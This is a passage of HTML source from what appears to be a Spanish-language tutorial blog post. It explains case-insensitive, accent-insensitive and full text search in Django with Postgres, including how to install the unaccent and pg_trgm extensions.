o minúsculas. Observa como, internamente, la consulta SQL vuelve todo a mayúsculas.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;nier&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# nota la i, antes de contains&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Videogame: Nier automata&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#...WHERE UPPER(&amp;#34;videogame_videogame&amp;#34;.&amp;#34;name&amp;#34;::text) LIKE UPPER(%nier%)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Pero y si nuestro cadena a buscar tiene acentos? Una búsqueda para &amp;ldquo;nier&amp;rdquo; (sin acento) va a darnos resultados diferentes que &amp;ldquo;niér&amp;rdquo; (acentuada). Normalmente la gente en internet no cuida la correcta acentuación de las palabras. Por lo que lo que, para devolver lo que ellos están buscando, es necesario crear una búsqueda en la que la acentuación correcta sea irrelevante.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;tekkén&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet []&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__unaccent__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;tekkén&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# Ahora no importa que la palabra esté acentuada&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Videogame: Tekken&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;#...WHERE UPPER(UNACCENT(&amp;#34;videogame_videogame&amp;#34;.&amp;#34;name&amp;#34;)::text) LIKE &amp;#39;%&amp;#39; || UPPER(REPLACE(REPLACE(REPLACE(UNACCENT(tekkén), E&amp;#39;\\&amp;#39;, E&amp;#39;\\\\&amp;#39;), E&amp;#39;%&amp;#39;, E&amp;#39;\\%&amp;#39;), E&amp;#39;_&amp;#39;, E&amp;#39;\\_&amp;#39;)) || &amp;#39;%&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si cuando ejecutaste la búsqueda anterior te saltó un error es porque te falta instalar la extensión &lt;em&gt;unnacent&lt;/em&gt;. Vamos a instalarla.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;como-instalar-las-extensiones-de-postgres-en-django&#34;&gt;¿Cómo instalar las extensiones de Postgres en Django?&lt;/h2&gt;&#xA;&lt;h3 id=&#34;prerrequisitos&#34;&gt;Prerrequisitos&lt;/h3&gt;&#xA;&lt;p&gt;Tener instalado psycopg2 y sus dependencias en &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/pipenv-el-administrador-de-entornos-virtuales-que-no-conoces/&#34;&gt;tu entorno virtual, usando pipenv&lt;/a&gt;&#xA;, uv o cualquier otro gestor.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install psycopg2 &lt;span style=&#34;color:#78787e&#34;&gt;# O con uv o pipenv&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;De la misma manera, asegúrate de que tu proyecto tenga la aplicación &lt;em&gt;django.contrib.postgres&lt;/em&gt; instalada y revisa que estés usando &lt;em&gt;postgres&lt;/em&gt; en la variable &lt;em&gt;DATABASES&lt;/em&gt; de tu archivo de configuración:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.postgres&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;DATABASES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ENGINE&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.db.backends.postgresql_psycopg2&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;NAME&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;base_de_datos&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;USER&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;usuario&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;PASSWORD&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;contrasena&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;HOST&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;localhost&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;PORT&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;5432&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;instalar-extensiones-de-postgres-en-django-desde-una-migracion&#34;&gt;Instalar extensiones de postgres en Django desde una migración&lt;/h3&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Para instalar una extensión nueva &lt;strong&gt;creamos una migración vacía&lt;/strong&gt; que modificaremos a continuación. Ahora abrimos el archivo e instalamos las extensiones bajo la sección de operaciones.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./manage.py makemigrations tu_app --empty&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora colocamos en operaciones la extensión que deseamos instalar.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.contrib.postgres.operations &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; UnaccentExtension&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;Migration&lt;/span&gt;(migrations&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;Migration):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    dependencies &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        (&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;snip&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    operations &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        UnaccentExtension(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;# TrigramExtension() # Descomenta esta linea para instalar esta extensión también&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Corramos las migraciones.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;./manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Listo, ahora tenemos instalada la extensión &lt;em&gt;unaccent&lt;/em&gt; y, si descomentaste la linea del archivo de migraciones, &lt;em&gt;TrigramExtension&lt;/em&gt; también estará instalada.&lt;/p&gt;&#xA;&lt;h3 id=&#34;instalar-extensiones-desde-la-terminal-de-postgres&#34;&gt;Instalar extensiones desde la terminal de Postgres&lt;/h3&gt;&#xA;&lt;p&gt;Otra manera de instalar las extensiones es ejecutar el comando requerido directo de la base de datos. Para este ejemplo instalamos &lt;em&gt;TrigramExtension&lt;/em&gt;, la extensión requerida para usar búsquedas con trigramas. Trataré el tema de los &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/trigramas-y-busquedas-avanzadas-con-django-y-postgres/&#34;&gt;trigramas con django y postgres&lt;/a&gt;&#xA;, por lo que no te preocupes por eso, solo céntrate en el proceso de instalación de las extensiones.&lt;/p&gt;&#xA;&lt;p&gt;Para entrar en la terminal de la base de datos usaré el comando dbshell que nos provee Django.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 manage.py dbshell&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;psql &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;9.6.20&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;conexión SSL &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;protocolo: TLSv1.2, cifrado: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compresión: desactivado&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Digite «help» para obtener ayuda.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;basededatos&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# CREATE EXTENSION pg_trgm;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CREATE EXTENSION&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con todas las funciones que vimos anteriormente ya podemos buscar con mayúsculas, minúsculas, acentos y sin acentos, pero, ¿y las búsquedas más complejas?&lt;/p&gt;&#xA;&lt;h2 id=&#34;django-full-text-search-o-busqueda-de-texto-completo&#34;&gt;Django full text search o búsqueda de texto completo&lt;/h2&gt;&#xA;&lt;p&gt;Al realizar una búsqueda no tendría sentido buscar artículos y preposiciones, ya que nos devolvería demasiados resultados, por lo que es mejor omitirlos. Imagínate cuantos resultados obtendrías en una tienda en linea con mil artículos si buscas el artículo &amp;ldquo;él&amp;rdquo; o la preposición &amp;ldquo;en&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;Otro aspecto que estaría genial para nuestras búsquedas sería devolver palabras que coinciden con la misma lexema o base. Es decir, si nuestro usuario busca &amp;ldquo;gato&amp;rdquo;, probablemente querremos devolverme también aquellos datos que coincidan con derivados de esa palabra: gato, gata, gatos, gatas, gatuno o cualquier otra palabra que empiece con &amp;ldquo;gat&amp;rdquo;.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/images/tsvector-en-postgres.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/images/tsvector-en-postgres.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Creación de un tsvector en postgres&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Todo lo anterior es bastante común en Postgres y ya está cubierto por la funcionalidad search de Django. Django incorpora búsqueda de texto completo o full text searching.&lt;/p&gt;&#xA;&lt;p&gt;¿Y eso que es? Pues traduciendo directo de la página de postgres significa más o menos lo siguiente.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;La búsqueda de texto completo (o solo búsqueda de texto) provee la capacidad de identificar documentos en lenguaje natural que satisfacen una consulta, y opcionalmente ordenarlos por su relevancia con la consulta. El tipo de búsqueda más común es encontrar todos los documentos que contienen ciertos términos de una consulta y retornarlos ordenados por su similitud a la consulta.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.postgresql.org/docs/current/textsearch-intro.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;https://www.postgresql.org/docs/current/textsearch-intro.html&lt;/a&gt;&#xA;&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;La similitud va a tomar en cuenta el número de veces que aparece la palabra, que tan distanciadas están las consultas de una búsqueda en el texto y otros factores que podemos establecer nosotros mismos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Videogame&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(name__search&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;dutchman revenge&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;QuerySet [&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;&lt;/span&gt;Videogame: Spongebob SquarePants: Revenge of the Flying Dutchman&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;]&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# WHERE to_tsvector(COALESCE(&amp;#34;videogame_videogame&amp;#34;.&amp;#34;name&amp;#34;, )) @@ plainto_tsquery(dutchman revenge)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿No es genial? Le pasamos una frase formada por dos palabras a nuestra búsqueda, las palabras no son adyacentes en nuestros datos y aún así nos devolvió un resultado.&lt;/p&gt;&#xA;&lt;h3 id=&#34;como-funciona-search-en-django&#34;&gt;¿Cómo funciona search en Django?&lt;/h3&gt;&#xA;&lt;p&gt;Mira la consulta SQL del último bloque de código y observa las funciones &lt;em&gt;to_tsvector&lt;/em&gt; y &lt;em&gt;plainto_tsquery&lt;/em&gt;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/images/FullTextSearchEsquema.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/images/FullTextSearchEsquema.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema de full text search en Postgres&#34; width=&#34;1200&#34; height=&#34;630&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Esquema de full text search en Postgres&lt;/p&gt;&#xA;&lt;p&gt;La función &lt;em&gt;search&lt;/em&gt; ejecuta la función &lt;em&gt;to_tsvector&lt;/em&gt;, la cual toma el campo de nuestro modelo (en este caso &lt;em&gt;name&lt;/em&gt;) y remueve las conjunciones, artículos y deja solo los lexemas (la parte de una palabra que no cambia de una palabra con el género y el número de una palabra por ejemplo: gat sería el lexema de gato, gata, gatos, gatas, etc.) y su posición en la frase que se le pasa como argumento.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;SELECT&lt;/span&gt; to_tsvector(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;english&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Spongebob SquarePants: Revenge of the Flying Dutchman&amp;#39;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                        to_tsvector                        &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;----------------------------------------------------------&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dutchman&amp;#39;&lt;/span&gt;:&lt;span 